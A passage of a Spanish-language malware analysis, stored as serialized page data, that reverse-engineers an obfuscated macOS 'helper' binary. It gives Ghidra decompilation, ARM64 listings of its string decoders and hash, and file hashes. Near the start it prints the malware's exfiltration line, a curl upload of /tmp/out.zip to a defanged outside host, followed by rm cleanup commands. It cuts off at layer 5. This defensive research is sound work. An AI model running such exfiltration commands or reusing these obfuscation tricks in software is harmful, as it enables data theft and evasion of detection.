\u003Chw_profile>\"",[919,2783,2767],{"class":2716},[919,2785,2787,2790,2793],{"class":2548,"line":2786},4,[919,2788,2789],{"class":2716},"  -F",[919,2791,2792],{"class":2730}," \"file=@/tmp/out.zip\"",[919,2794,2795],{"class":2730}," laislivon[.]com/contact\n",[809,2797,2798],{},"La limpieza seguía de inmediato:",[2499,2800,2801],{"style":2501},[2503,2802,2804],{"className":2703,"code":2803,"language":2705,"meta":927,"style":927},"rm -r \u003Cstaging_dir>\nrm /tmp/out.zip\n",[2509,2805,2806,2823],{"__ignoreMap":927},[919,2807,2808,2811,2814,2816,2818,2820],{"class":2548,"line":2549},[919,2809,2810],{"class":2712},"rm",[919,2812,2813],{"class":2716}," -r",[919,2815,2727],{"class":2726},[919,2817,2731],{"class":2730},[919,2819,2735],{"class":2734},[919,2821,2822],{"class":2726},">\n",[919,2824,2825,2827],{"class":2548,"line":928},[919,2826,2810],{"class":2712},[919,2828,2741],{"class":2730},[2472,2830],{},[1939,2832,2834],{"id":2833},"stage-2-ingeniería-inversa-del-binario-helper","Stage 2: Ingeniería inversa del binario 'helper'",[809,2836,825],{},[809,2838,2839,2840,2843],{},"El binario ",[2509,2841,2842],{},"helper"," es donde este análisis se vuelve profundo. Se trata de un ejecutable macOS de propósito específico, ofuscado de forma profesional y diseñado para ser tan difícil de analizar estáticamente como sea posible. Es la parte de esta investigación que requirió el mayor esfuerzo de ingeniería inversa.",[809,2845,2846],{},"Todo el análisis se realizó con Ghidra utilizando nuestro flujo de trabajo personalizado de análisis ARM64.",[819,2848,2850],{"id":2849},"propiedades-del-archivo","Propiedades del archivo",[809,2852,2494],{},[2499,2854,2856],{"style":2855},"border-radius: 6px; overflow: hidden; margin: 0.25rem 0",[2857,2858,895,2860,895,2876],"table",{"style":2859},"width:100%; border-collapse: collapse; font-size: 0.85rem",[2861,2862,2863,2864,895],"thead",{},"\n    ",[2865,2866,2867,2868,2867,2873,2863],"tr",{},"\n      ",[2869,2870,2872],"th",{"style":2871},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600","Propiedad",[2869,2874,2875],{"style":2871},"Valor",[2877,2878,2863,2879,2863,2889,2863,2898,2863,2906,2863,2916,2863,2926,895],"tbody",{},[2865,2880,2867,2881,2867,2886,2863],{},[2882,2883,2885],"td",{"style":2884},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","Formato",[2882,2887,2888],{"style":2884},"Mach-O Universal Binary",[2865,2890,2867,2891,2867,2895,2863],{},[2882,2892,2894],{"style":2893},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","Arquitecturas",[2882,2896,2897],{"style":2893},"x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)",[2865,2899,2867,2900,2867,2903,2863],{},[2882,2901,2902],{"style":2884},"Tamaño",[2882,2904,2905],{"style":2884},"15,7 MB",[2865,2907,2867,2908,2867,2911,2863],{},[2882,2909,2910],{"style":2893},"MD5",[2882,2912,2913],{"style":2893},[2509,2914,2915],{},"4599fdf2fa2099b30d8bbf76703dd634",[2865,2917,2867,2918,2867,2921,2863],{},[2882,2919,2920],{"style":2884},"SHA-1",[2882,2922,2923],{"style":2884},[2509,2924,2925],{},"3992edfb6f885ae5f09f3e69a2578048d6d5bb54",[2865,2927,2867,2928,2867,2931,2863],{},[2882,2929,2930],{"style":2893},"SHA-256",[2882,2932,2933],{"style":2893},[2509,2934,2935],{},"5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d",[819,2937,2939],{"id":2938},"empieza-antes-de-main","Empieza antes de main()",[809,2941,2494],{},[809,2943,2944,2945,2948,2949,2952],{},"Lo primero que confirmamos en Ghidra fue que este binario no se comporta como un ejecutable normal. El punto de entrada real no es ",[2509,2946,2947],{},"main()",". Es una función registrada en ",[2509,2950,2951],{},"__mod_init_func",", un mecanismo de macOS que indica al enlazador dinámico (dyld) que ejecute funciones designadas automáticamente cuando se carga el binario, antes de que se ejecute cualquier código visible para el usuario.",[809,2954,2955,2956,2959],{},"La función de inicialización en ",[2509,2957,2958],{},"0x10009f384"," es el verdadero punto de entrada del malware. Descompilamos la salida con Ghidra:",[2499,2961,2962],{"style":2501},[2963,2964,2965,2969,2972,2975,1659,2979,2983,2984,2986,2987,2990,2991,3005],"code-block",{},[919,2966,2968],{"style":2967},"color:#6a737d","// FUN_10009f384 @ 0x10009f384",[2970,2971],"br",{},[919,2973,2974],{"style":2967},"// __mod_init_func registered — executes before main()",[919,2976,2978],{"style":2977},"color:#d73a49","void",[919,2980,2982],{"style":2981},"color:#6f42c1","FUN_10009f384","(",[919,2985,2978],{"style":2977},")\n{\n  ",[919,2988,2989],{"style":2977},"int"," iVar1;\n",[809,2992,2993,2996,2997,2983,3000,3004],{},[919,2994,2995],{"style":2967},"// Anti-sandbox delay: usleep(0x37e) = 894 microseconds","\niVar1 = ",[919,2998,2999],{"style":2981},"_usleep",[919,3001,3003],{"style":3002},"color:#005cc5","0x37e",");",[809,3006,3007,3010,3013,3014,3016,3017,3020,3021,3024,3025,3028,3029,3032],{},[919,3008,3009],{"style":2967},"// Indirect jump table — 14-state machine",[919,3011,3012],{"style":2967},"// Defeats CFG reconstruction in static analysis tools","\n(_(",[919,3015,2509],{"style":2977}," _)((",[919,3018,3019],{"style":2977},"ulong",")switchD_10009f43c::switchdataD_1000cd3fc * ",[919,3022,3023],{"style":3002},"4"," + ",[919,3026,3027],{"style":3002},"0x10009f440","))(iVar1);\n",[919,3030,3031],{"style":2977},"return",";\n}",[809,3034,3035,3036,3039,3040,3043],{},"Hay dos aspectos inmediatamente destacables. En primer lugar, el ",[2509,3037,3038],{},"usleep"," de 894 microsegundos al inicio, una señal de temporización anti-sandbox. En segundo lugar, y más relevante, la tabla de salto indirecto en ",[2509,3041,3042],{},"0x10009f43c",". Se trata de un salto calculado donde la dirección de destino se computa en tiempo de ejecución a partir de una tabla de búsqueda. Las herramientas de análisis estático no pueden reconstruir el grafo de flujo de control desde aquí, y el propio Ghidra registra múltiples advertencias de \"bloque inalcanzable\" mientras intenta sin éxito trazar la ruta de ejecución. Esto es deliberado.",[809,3045,3046,3047,3050],{},"La tabla de salto controla una ",[1656,3048,3049],{},"máquina de ejecución de 14 estados",". Cada estado realiza un paso discreto del pipeline de descifrado y ejecución. El contador de estados se actualiza tras cada paso, y la máquina itera hasta que todos los estados han sido ejecutados.",[819,3052,3054],{"id":3053},"el-desensamblado-arm64-del-despachador-de-estados","El desensamblado ARM64 del despachador de estados",[809,3056,2494],{},[2499,3058,3059],{"style":2501},[2503,3060,3064],{"className":3061,"code":3062,"language":3063,"meta":927,"style":927},"language-asm shiki shiki-themes github-light github-dark","10009f3fc:  stp xzr,xzr,[sp, #0x48]\n10009f41c:  mov w0,#0x37e\n10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n10009f428:  b.hi 0x10009fd44         ; exit if done\n10009f42c:  mov w8,w25               ; current state index\n10009f430:  adr x9,0x10009f440       ; base of jump table\n10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n10009f43c:  br x9                    ; indirect branch, CFG broken here\n","asm",[2509,3065,3066,3071,3076,3081,3086,3092,3098,3104,3110,3116],{"__ignoreMap":927},[919,3067,3068],{"class":2548,"line":2549},[919,3069,3070],{},"10009f3fc:  stp xzr,xzr,[sp, #0x48]\n",[919,3072,3073],{"class":2548,"line":928},[919,3074,3075],{},"10009f41c:  mov w0,#0x37e\n",[919,3077,3078],{"class":2548,"line":935},[919,3079,3080],{},"10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n",[919,3082,3083],{"class":2548,"line":2786},[919,3084,3085],{},"10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n",[919,3087,3089],{"class":2548,"line":3088},5,[919,3090,3091],{},"10009f428:  b.hi 0x10009fd44         ; exit if done\n",[919,3093,3095],{"class":2548,"line":3094},6,[919,3096,3097],{},"10009f42c:  mov w8,w25               ; current state index\n",[919,3099,3101],{"class":2548,"line":3100},7,[919,3102,3103],{},"10009f430:  adr x9,0x10009f440       ; base of jump table\n",[919,3105,3107],{"class":2548,"line":3106},8,[919,3108,3109],{},"10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n",[919,3111,3113],{"class":2548,"line":3112},9,[919,3114,3115],{},"10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n",[919,3117,3119],{"class":2548,"line":3118},10,[919,3120,3121],{},"10009f43c:  br x9                    ; indirect branch, CFG broken here\n",[819,3123,3125],{"id":3124},"seis-capas-de-ofuscación-apiladas","Seis capas de ofuscación apiladas",[809,3127,2494],{},[809,3129,3130,3131,3134],{},"El binario utiliza seis capas de ofuscación distintas, apiladas y encadenadas de modo que la salida de cada una alimenta la siguiente. Cada payload, cada cadena, cada constante interna está codificada. Nada con significado aparece en texto plano en ningún lugar del segmento ",[2509,3132,3133],{},"__const",". Lo que sigue es un desglose completo capa por capa, verificado directamente en Ghidra hasta las instrucciones ARM64 individuales. Aunque cada técnica empleada en este binario es conocida de forma aislada, su aplicación encadenada a través de múltiples etapas creó un flujo de ejecución altamente interdependiente que aumentó considerablemente la complejidad del análisis estático y dinámico.",[2472,3136],{},[897,3138,3140],{"id":3139},"capa-1-codificación-de-tripletes-en-tiempo-de-compilación","Capa 1: codificación de tripletes en tiempo de compilación",[809,3142,2634],{},[809,3144,3145,3146,3149],{},"Cada cadena del binario no se almacena como caracteres, sino como una secuencia de tripletes aritméticos de 12 bytes. Cada triplete ",[2509,3147,3148],{},"(a, b, shift)"," codifica exactamente un carácter de salida. El esquema de codificación se aplica en tiempo de compilación, lo que significa que ninguna cadena existe como texto plano en el binario, ni siquiera de forma transitoria durante la carga.",[809,3151,3152,3153,3156,3157,3160,3161,3164,3165,3156,3168,3171,3172,3175],{},"Dos funciones de decodificación separadas se encargan de distintos tamaños de cadena. ",[2509,3154,3155],{},"FUN_100087c08"," en ",[2509,3158,3159],{},"0x100087c08"," decodifica cadenas de 60 caracteres (720 bytes de datos de entrada desde ",[2509,3162,3163],{},"DAT_1006292cc","). ",[2509,3166,3167],{},"FUN_10007ad80",[2509,3169,3170],{},"0x10007ad80"," decodifica cadenas de 56 caracteres (672 bytes desde ",[2509,3173,3174],{},"DAT_10049708c","). Ambas utilizan el mismo algoritmo.",[2499,3177,3178],{"style":2501},[2963,3179,3180,3183,3185,3188,1659,3190,2983,3192,3195,3196,3198,3199,3201,3202,3204,3205,3208,3209],{},[919,3181,3182],{"style":2967},"// FUN_100087c08 @ 0x100087c08",[2970,3184],{},[919,3186,3187],{"style":2967},"// Triplet decoder, 60 chars, data from DAT_1006292cc",[919,3189,2978],{"style":2977},[919,3191,3155],{"style":2981},[919,3193,3194],{"style":2977},"long"," *param_1)\n{\n  ",[919,3197,3194],{"style":2977}," *plVar1;\n  ",[919,3200,2978],{"style":2977}," *pvVar2;\n  ",[919,3203,3194],{"style":2977}," lVar3;\n  ",[919,3206,3207],{"style":2977},"uint"," *puVar4;\n",[809,3210,3211,3212,2983,3215,3218,3219,3224,3227,3228,3218,3230,3233,3235,3238,3239,883,3242,3218,3245,3248,3249,3251,3252,3016,3254,3256,3257,3260,3261,3264,3265,3267,3268,3271,3272,3275,3276,3016,3279,3281,3282,3285,3286,3289,3291,3294,3295,3016,3297,3299,3300,3302,3303,3305,3306,3311,3312,3315,3316,3321,3322,3325,3326,3328,3329,3334,3335,3337,3338,3340,3341,3344,3345,3348,3349,3218,3351,3354,3356,3359,3360,3032],{},"pvVar2 = ",[919,3213,3214],{"style":2981},"operator_new",[919,3216,3217],{"style":3002},"0x2d0","); ",[919,3220,3221,3222],{"style":2967},"// allocate 720 bytes (60 triplets × 12)",[2970,3223],{},[919,3225,3226],{"style":2981},"_memcpy","(pvVar2, &DAT_1006292cc, ",[919,3229,3217],{"style":3002},[919,3231,3232],{"style":2967},"// copy encoded triplets from __const",[2970,3234],{},[919,3236,3237],{"style":2981},"FUN_1000a0840","(param_1, ",[919,3240,3241],{"style":3002},"0x3c",[919,3243,3244],{"style":3002},"0",[919,3246,3247],{"style":2967},"// init 60-char output buffer","\nlVar3 = ",[919,3250,3244],{"style":3002},";\npuVar4 = (",[919,3253,3207],{"style":2977},[919,3255,3194],{"style":2977},")pvVar2 + ",[919,3258,3259],{"style":3002},"8",");\n",[919,3262,3263],{"style":2977},"do"," {\nplVar1 = (",[919,3266,3194],{"style":2977}," _)_param_1;\n",[919,3269,3270],{"style":2977},"if"," (-",[919,3273,3274],{"style":3002},"1"," \u003C _(",[919,3277,3278],{"style":2977},"char",[919,3280,3194],{"style":2977},")param_1 + ",[919,3283,3284],{"style":3002},"0x17",")) {\nplVar1 = param_1;\n}\n",[919,3287,3288],{"style":2967},"// THE DECODE FORMULA, one character per triplet:",[2970,3290],{},[919,3292,3293],{"style":2967},"// char = ((b _ 3) XOR a) >> shift) - b","\n_(",[919,3296,3278],{"style":2977},[919,3298,3194],{"style":2977},")plVar1 + lVar3) =\n(",[919,3301,3278],{"style":2977},")((",[919,3304,2989],{"style":2977},")(puVar4",[919,3307,3308,3309],{},"-",[919,3310,3274],{"style":3002}," * ",[919,3313,3314],{"style":3002},"3"," ^ puVar4",[919,3317,3308,3318],{},[919,3319,3320],{"style":3002},"2",") >> (*puVar4 & ",[919,3323,3324],{"style":3002},"0x1f",")) - (",[919,3327,3278],{"style":2977},")puVar4",[919,3330,3331],{},[919,3332,3333],{"style":3002},"-1",";\nlVar3 = lVar3 + ",[919,3336,3274],{"style":3002},";\npuVar4 = puVar4 + ",[919,3339,3314],{"style":3002},"; ",[919,3342,3343],{"style":2967},"// advance 12 bytes — next triplet","\n} ",[919,3346,3347],{"style":2977},"while"," (lVar3 != ",[919,3350,3241],{"style":3002},[919,3352,3353],{"style":2967},"// loop exactly 60 times",[2970,3355],{},[919,3357,3358],{"style":2981},"operator_delete","(pvVar2);\n",[919,3361,3031],{"style":2977},[809,3363,3364],{},"Y el ensamblado ARM64 correspondiente, donde cada instrucción mapea directamente una operación de la fórmula:",[2499,3366,3367],{"style":2501},[2503,3368,3371],{"className":3369,"code":3370,"language":987},[2506],"100087c48:  add x9,x20,#0x8\n100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11\n100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b \u003C\u003C 1) = b * 3\n                                       ; (compiler avoids MUL instruction)\n100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a\n100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12\n100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved\n100087c60:  sub w10,w10,w11           ; subtract b — final decoded character\n100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer\n100087c78:  add x8,x8,#0x1\n100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60\n100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded\n",[2509,3372,3370],{"__ignoreMap":927},[809,3374,3375,3376,3379,3380,3383],{},"Un detalle que merece atención: la multiplicación ",[2509,3377,3378],{},"b × 3"," se implementa como ",[2509,3381,3382],{},"add w12, w11, w11, LSL #1",", un desplazamiento y suma que evita por completo una instrucción de multiplicación. Se trata de una optimización clásica del compilador que además hace el código más difícil de reconocer mediante coincidencia de patrones en bases de datos de firmas.",[809,3385,3386],{},"La fórmula de decodificación completa:",[2499,3388,3389],{"style":2501},[2503,3390,3393],{"className":3391,"code":3392,"language":987},[2506],"char = ASR( (b × 3) XOR a, shift ) − b\n",[2509,3394,3392],{"__ignoreMap":927},[809,3396,3397,3398,3401,3402,3405,3406,3409],{},"El ",[2509,3399,3400],{},"ASR"," (desplazamiento aritmético a la derecha) es fundamental. Preserva el bit de signo. Si el resultado intermedio de ",[2509,3403,3404],{},"(b×3) XOR a"," es negativo, como ocurre con frecuencia, un desplazamiento lógico produciría un resultado completamente distinto. Esto es intencional, y significa que reimplementar simplemente la fórmula con ",[2509,3407,3408],{},">>"," en un lenguaje de alto nivel producirá silenciosamente una salida incorrecta si no se gestiona correctamente la aritmética con signo.",[809,3411,3412,3413,3415,3416,3418,3419,3422],{},"La variante de 56 caracteres ",[2509,3414,3167],{}," es estructuralmente idéntica, opera sobre ",[2509,3417,3174],{}," con un límite de iteraciones de ",[2509,3420,3421],{},"0x38",". Ambas funciones fueron confirmadas en vivo desde Ghidra durante este análisis.",[2472,3424],{},[897,3426,3428],{"id":3427},"capa-2-codificación-de-cadenas-hexadecimales","Capa 2: codificación de cadenas hexadecimales",[809,3430,2634],{},[809,3432,3433,3434,3437,3438,3156,3441,3444,3445,3448],{},"Los bytes brutos producidos por la Capa 1 son en sí mismos caracteres ASCII hexadecimales, no datos binarios. La salida de la decodificación de tripletes de la Capa 1 es una cadena de pares hexadecimales: ",[2509,3435,3436],{},"32694e5462...",". Esto se confirma mediante la función de decodificación ",[2509,3439,3440],{},"FUN_100000dc0",[2509,3442,3443],{},"0x100000dc0",", que implementa una decodificación hexadecimal usando una tabla de búsqueda en ",[2509,3446,3447],{},"DAT_1007bb591",".",[809,3450,3451,3452,3308,3455,883,3458,3308,3461,883,3464,3308,3467,3470],{},"La descompilación de Ghidra muestra una sentencia switch que mapea cada carácter hexadecimal (",[2509,3453,3454],{},"0x30",[2509,3456,3457],{},"0x39",[2509,3459,3460],{},"0x41",[2509,3462,3463],{},"0x46",[2509,3465,3466],{},"0x61",[2509,3468,3469],{},"0x66",") a su valor de nibble, ensamblando bytes de salida de dos en dos caracteres:",[2499,3472,3473],{"style":2501},[2963,3474,3475,3478,3481,3484,3485,3488,3489,3491,3492,1659,3495,3497,3498,3501,3502,895,3505,1659,3507,3510,3511,3340,3514,3516,3517,895,3520,1659,3522,3510,3525,3340,3528,3516,3530,895,3533,895,3536,1659,3538,3497,3540,1659,3542,3510,3544,3340,3547,3549,3550,895,3553,1659,3555,3497,3558,1659,3560,3510,3563,3340,3566,3549,3568,895,3571,1659,3573,3497,3576,1659,3578,3581,3582,3340,3585,3549,3587,895,3590,1659,3592,3497,3595,1659,3597,3600,3601,3340,3604,3549,3606,895,3609,1659,3611,3497,3614,1659,3616,3510,3619,3340,3622,3549,3624,895,3627,1659,3629,3497,3631,1659,3633,3510,3635,3340,3638,3549,3640,3643,3644,3647,3648,3488,3651,3653,3654,3656,3657,3660],{},[919,3476,3477],{"style":2967},"// FUN_100000dc0 @ 0x100000dc0",[919,3479,3480],{"style":2967},"// Hex decoder, processes input two characters per output byte",[919,3482,3483],{"style":2977},"switch","(*(",[919,3486,3487],{"style":2977},"undefined1"," *)((",[919,3490,3194],{"style":2977},")plVar2 + lVar7)) {\n  ",[919,3493,3494],{"style":2977},"case",[919,3496,3454],{"style":3002},": ",[919,3499,3500],{"style":2977},"break",";                  ",[919,3503,3504],{"style":2967},"// '0' → 0x00",[919,3506,3494],{"style":2977},[919,3508,3509],{"style":3002},"0x31",": bVar9 = ",[919,3512,3513],{"style":3002},"0x10",[919,3515,3500],{"style":2977},";   ",[919,3518,3519],{"style":2967},"// '1' → 0x10",[919,3521,3494],{"style":2977},[919,3523,3524],{"style":3002},"0x32",[919,3526,3527],{"style":3002},"0x20",[919,3529,3500],{"style":2977},[919,3531,3532],{"style":2967},"// '2' → 0x20",[919,3534,3535],{"style":2967},"// ... '3' through '9' ...",[919,3537,3494],{"style":2977},[919,3539,3460],{"style":3002},[919,3541,3494],{"style":2977},[919,3543,3466],{"style":3002},[919,3545,3546],{"style":3002},"0xa0",[919,3548,3500],{"style":2977},";  ",[919,3551,3552],{"style":2967},"// 'A'/'a' → 0xa0",[919,3554,3494],{"style":2977},[919,3556,3557],{"style":3002},"0x42",[919,3559,3494],{"style":2977},[919,3561,3562],{"style":3002},"0x62",[919,3564,3565],{"style":3002},"0xb0",[919,3567,3500],{"style":2977},[919,3569,3570],{"style":2967},"// 'B'/'b' → 0xb0",[919,3572,3494],{"style":2977},[919,3574,3575],{"style":3002},"0x43",[919,3577,3494],{"style":2977},[919,3579,3580],{"style":3002},"99",":   bVar9 = ",[919,3583,3584],{"style":3002},"0xc0",[919,3586,3500],{"style":2977},[919,3588,3589],{"style":2967},"// 'C'/'c' → 0xc0",[919,3591,3494],{"style":2977},[919,3593,3594],{"style":3002},"0x44",[919,3596,3494],{"style":2977},[919,3598,3599],{"style":3002},"100",":  bVar9 = ",[919,3602,3603],{"style":3002},"0xd0",[919,3605,3500],{"style":2977},[919,3607,3608],{"style":2967},"// 'D'/'d' → 0xd0",[919,3610,3494],{"style":2977},[919,3612,3613],{"style":3002},"0x45",[919,3615,3494],{"style":2977},[919,3617,3618],{"style":3002},"0x65",[919,3620,3621],{"style":3002},"0xe0",[919,3623,3500],{"style":2977},[919,3625,3626],{"style":2967},"// 'E'/'e' → 0xe0",[919,3628,3494],{"style":2977},[919,3630,3463],{"style":3002},[919,3632,3494],{"style":2977},[919,3634,3469],{"style":3002},[919,3636,3637],{"style":3002},"0xf0",[919,3639,3500],{"style":2977},[919,3641,3642],{"style":2967},"// 'F'/'f' → 0xf0","\n}\n",[919,3645,3646],{"style":2967},"// Second nibble from lookup table at DAT_1007bb591","\n*(",[919,3649,3650],{"style":2977},"byte",[919,3652,3194],{"style":2977},")pppppppuVar3 + uVar8) =\n    (&DAT_1007bb591)[(",[919,3655,3019],{"style":2977},")uVar4 & ",[919,3658,3659],{"style":3002},"0xff","] | bVar9;\n",[809,3662,3663],{},"El ensamblado ARM64 gestiona esto con una segunda tabla de salto calculado, implementando efectivamente una tabla de salto de 55 entradas para el switch:",[2499,3665,3666],{"style":2501},[2503,3667,3670],{"className":3668,"code":3669,"language":987},[2506],"100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table\n100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char\n100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address\n100000e68:  br x17                   ; jump — second computed branch in 24 bytes\n",[2509,3671,3669],{"__ignoreMap":927},[809,3673,3674],{},"Dos saltos calculados en una ventana de 24 bytes. Las herramientas de análisis estático tienen serias dificultades con este patrón porque ambos destinos son desconocidos en tiempo de análisis.",[809,3676,3677],{},"Una cadena hexadecimal de 137.208 caracteres se decodifica en 68.604 bytes. Estos 68.604 bytes alimentan a continuación la Capa 3.",[2472,3679],{},[897,3681,3683],{"id":3682},"capa-3-alfabeto-de-nibbles-personalizado-de-16-símbolos","Capa 3: alfabeto de nibbles personalizado de 16 símbolos",[809,3685,2634],{},[809,3687,3688],{},"Los 68.604 bytes de salida de la Capa 2 utilizan únicamente 16 valores de byte únicos, extraídos de dos rangos ASCII no contiguos:",[1649,3690,3691,3739],{},[1653,3692,3693,3696,3697,883,3700,883,3703,883,3706,883,3709,883,3712,883,3715,883,3718,883,3720,883,3723,883,3726,883,3729,883,3732,883,3734,883,3736],{},[2509,3694,3695],{},"0x20-0x2F",": espacio, ",[2509,3698,3699],{},"!",[2509,3701,3702],{},"\"",[2509,3704,3705],{},"#",[2509,3707,3708],{},"$",[2509,3710,3711],{},"%",[2509,3713,3714],{},"&",[2509,3716,3717],{},"'",[2509,3719,2983],{},[2509,3721,3722],{},")",[2509,3724,3725],{},"*",[2509,3727,3728],{},"+",[2509,3730,3731],{},",",[2509,3733,3308],{},[2509,3735,3448],{},[2509,3737,3738],{},"/",[1653,3740,3741,3497,3744,883,3747,883,3750,883,3753,883,3756,883,3759,883,3762,3765],{},[2509,3742,3743],{},"0x78-0x7F",[2509,3745,3746],{},"x",[2509,3748,3749],{},"y",[2509,3751,3752],{},"z",[2509,3754,3755],{},"{",[2509,3757,3758],{},"|",[2509,3760,3761],{},"}",[2509,3763,3764],{},"~",", DEL",[809,3767,3768],{},"Esta es una elección deliberada. En un editor hexadecimal, estos bytes parecen espacios en blanco, puntuación y caracteres al final del rango ASCII, de modo que se camuflan como si fueran metadatos o relleno, no datos codificados. Un analista humano que haga un escaneo visual rápido de un volcado hexadecimal no marcará estos rangos de bytes como sospechosos. El análisis de entropía estándar también subestimará la entropía efectiva porque la distribución de bytes parece no aleatoria.",[809,3770,3771,3772,3775,3776,3779,3780,3783,3784,3787],{},"Cada byte de este alfabeto codifica un nibble del payload real. El mapeo alfabeto-nibble lo aplica la función de codificación y decodificación ",[2509,3773,3774],{},"FUN_100000d60",", que confirmamos en ",[2509,3777,3778],{},"0x100000d60",". Encadena dos subfunciones: ",[2509,3781,3782],{},"FUN_100000b50"," construye un mapa indexado de los caracteres de la cadena de entrada, y ",[2509,3785,3786],{},"FUN_100000c34"," recorre este mapa consumiendo 6 bits por paso y acumulando bytes de salida de 8 bits:",[2499,3789,3790],{"style":2501},[2963,3791,3792,3795,3796,3798,3799,3801,3802,3804,3805,3808,3809,895,3812,3814,3815,3817,3818,2863,3821,3823,3824,3827,3828,3830,3831,2863,3834,3836,3837,3840,3841,3844,3845,3847,3848,3851,3852,3854,3855,3488,3858,3860,3861,3863,3864,3866],{},[919,3793,3794],{"style":2967},"// FUN_100000c34 @ 0x100000c34, nibble accumulator","\niVar5 = ",[919,3797,3244],{"style":3002},";\n",[919,3800,3263],{"style":2977}," {\n  local_52 = *(",[919,3803,3487],{"style":2977}," *)puVar4;\n  lVar3 = ",[919,3806,3807],{"style":2981},"FUN_1000a078c","(param_3, &local_52);  ",[919,3810,3811],{"style":2967},"// look up nibble value",[919,3813,3270],{"style":2977}," (lVar3 == ",[919,3816,3244],{"style":3002},") {\n    ",[919,3819,3820],{"style":2967},"// character not in alphabet, treat as raw",[919,3822,3807],{"style":2981},"(param_3, &local_51);\n  } ",[919,3825,3826],{"style":2977},"else"," {\n    iVar5 = iVar5 + ",[919,3829,3023],{"style":3002},";           ",[919,3832,3833],{"style":2967},"// accumulate 4 bits",[919,3835,3347],{"style":2977}," (",[919,3838,3839],{"style":3002},"7"," \u003C iVar5) {\n      std::string::",[919,3842,3843],{"style":2981},"push_back","((",[919,3846,3278],{"style":2977},")param_1);  ",[919,3849,3850],{"style":2967},"// emit byte when 8+ bits ready","\n      iVar5 = iVar5 + -",[919,3853,3259],{"style":3002},";\n    }\n  }\n  puVar4 = (",[919,3856,3857],{"style":2977},"undefined8",[919,3859,3194],{"style":2977},")puVar4 + ",[919,3862,3274],{"style":3002},");\n} ",[919,3865,3347],{"style":2977}," (puVar4 != puVar1);\n",[809,3868,3869],{},"Los 34.302 bytes que emergen de esta pasada son ASCII imprimible en un 99,7% de los casos; el payload en esta etapa parece, a una inspección superficial, un script de shell extenso o un blob de configuración.",[2472,3871],{},[897,3873,3875],{"id":3874},"capa-4-ofuscación-de-cadenas-en-tiempo-de-compilación","Capa 4: ofuscación de cadenas en tiempo de compilación",[809,3877,2634],{},[809,3879,3880],{},"Las cadenas cortas de uso interno están ofuscadas en tiempo de compilación empleando el mismo esquema de tripletes que la Capa 1. Estas cadenas se reconstruyen en tiempo de ejecución inmediatamente antes de su uso y nunca persisten en memoria: son consumidas por la siguiente operación y el buffer se libera a continuación. En ningún momento es visible una cadena decodificada en las secciones de datos estáticos del binario.",[809,3882,3883,3884,3887],{},"La función de hash de cadenas ",[2509,3885,3886],{},"FUN_100000730"," proporciona una capa de ofuscación secundaria para las comparaciones de cadenas. En lugar de comparar cadenas directamente, lo que dejaría texto plano en memoria susceptible de reconocimiento por patrones, el binario calcula y compara hashes enteros:",[2499,3889,3890],{"style":2501},[2963,3891,3892,3895,3898,1659,3900,2983,3902,3195,3904,3906,3907,3910,3911,895,3914,895,3917,3920,3921,3923,3924,3926,3927,3929,3930,3549,3933,3936,3937,3939,3940,3942],{},[919,3893,3894],{"style":2967},"// FUN_100000730 @ 0x100000730",[919,3896,3897],{"style":2967},"// FNV-style string hash, avoids plaintext string comparisons",[919,3899,2989],{"style":2977},[919,3901,3886],{"style":2981},[919,3903,3278],{"style":2977},[919,3905,2989],{"style":2977}," iVar4 = ",[919,3908,3909],{"style":3002},"0x19a8",";    ",[919,3912,3913],{"style":2967},"// FNV offset basis (modified)",[919,3915,3916],{"style":2967},"// ...",[919,3918,3919],{"style":2977},"for"," (; uVar3 != ",[919,3922,3244],{"style":3002},"; uVar3 = uVar3 - ",[919,3925,3274],{"style":3002},") {\n    iVar4 = (",[919,3928,2989],{"style":2977},")*pcVar1 + iVar4 * -",[919,3931,3932],{"style":3002},"0x7fb91be3",[919,3934,3935],{"style":2967},"// FNV-1a style multiply","\n    pcVar1 = pcVar1 + ",[919,3938,3274],{"style":3002},";\n  }\n  ",[919,3941,3031],{"style":2977}," iVar4;\n}\n",[809,3944,3945],{},"La implementación ARM64 reemplaza la multiplicación con un multiply-add fusionado:",[2499,3947,3948],{"style":2501},[2503,3949,3952],{"className":3950,"code":3951,"language":987},[2506],"100000744:  mov w0,#0x19a8            ; FNV basis\n100000750:  mov w10,#0xe41d\n100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3\n100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment\n10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char\n100000760:  subs x9,x9,#0x1\n100000764:  b.ne 0x100000758\n",[2509,3953,3951],{"__ignoreMap":927},[809,3955,3956],{},"Esto significa que incluso comparar dos cadenas dentro del binario nunca produce un salto que un depurador pueda interceptar limpiamente a nivel de cadena, sino solo a nivel de hash.",[2472,3958],{},[897,3960,3962],{"id":3961},"capa-5-cifrado-de-flujo-personalizado-con-doble-instancia","Capa 5: cifrado de flujo personalizado con doble instancia",[809,3964,2634],{},[809,3966,3967,3968,3971],{},"Aquí es donde la 